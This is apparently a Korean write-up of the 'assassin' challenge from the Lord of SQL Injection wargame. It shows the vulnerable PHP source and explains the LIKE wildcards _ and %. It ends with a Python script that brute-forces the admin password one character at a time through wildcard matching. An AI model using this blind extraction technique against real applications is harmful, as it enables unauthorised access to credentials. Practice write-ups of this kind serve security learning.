[LOS] SQL Injection 풀이 (assassin)- 14

 

소스 코드

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

필터링 된 문자

'(싱글 쿼터)

 

 

문제 접근

 

like 문을 사용하여 admin의 pw와 같으면 문제가 풀리는 형식이다. 하지만 이 경우 첫번째만 같아도 통과가 되기 때문에 쉽게 풀이가 가능해지게된다. 아마 이를 막기 위해 hello guest의 pw와 몇자리 수까지는 같게 만들어 바로 Hello admin이 뜨지 않도록 했을 것 같다.

그렇기 때문에 어차피 문제는 admin pw가 나오기만 하면 되니 탐색시 hello admin이 안나오고 hello guest가 나온다면 해당 문자를 저장후 hello admin이 나올때까지 코드를 돌리면될 것이다.

몇자리 인지도 필요 없지만 _ 이것을 이용하면 몇자리인지 알 수 있다.

만약 비밀번호가 

1234 라면

1___

_2__

__3_

___4

모두 1234라는 비밀번호를 가르키게 된다 즉 like와 비슷한 역할을 하는 것이다. 다만 위치를 지정해줄 수 있다는 점이 다르다.

%도 여기 문제를 풀때는 사용해야하는데 아래와 같이 작동을 하게 된다.

A% 맨앞이 A인 데이터
%A% 중간 값이 A인 데이터
%A 맨 뒷값이 A인 데이터

 

Solution

 

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookies={'PHPSESSID':'nq20so8gef3ap4jgbif7rsm3ue'}

pw_str=''
adcheck = False
for position in range(1,9):
    if(adcheck==True):
        break
    for find_pw in range(48,122):
        value = pw_str + chr(find_pw)
        parameter={'pw':value+'%'}
        res = requests.get(url, params=parameter, cookies=cookies)

        if("Hello admin" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            print("admin 비밀번호 찾기 완료")
            adcheck = True
            break
        elif("Hello guest" in res.text):
            pw_str += chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=", pw_str+"%")

+ Recent posts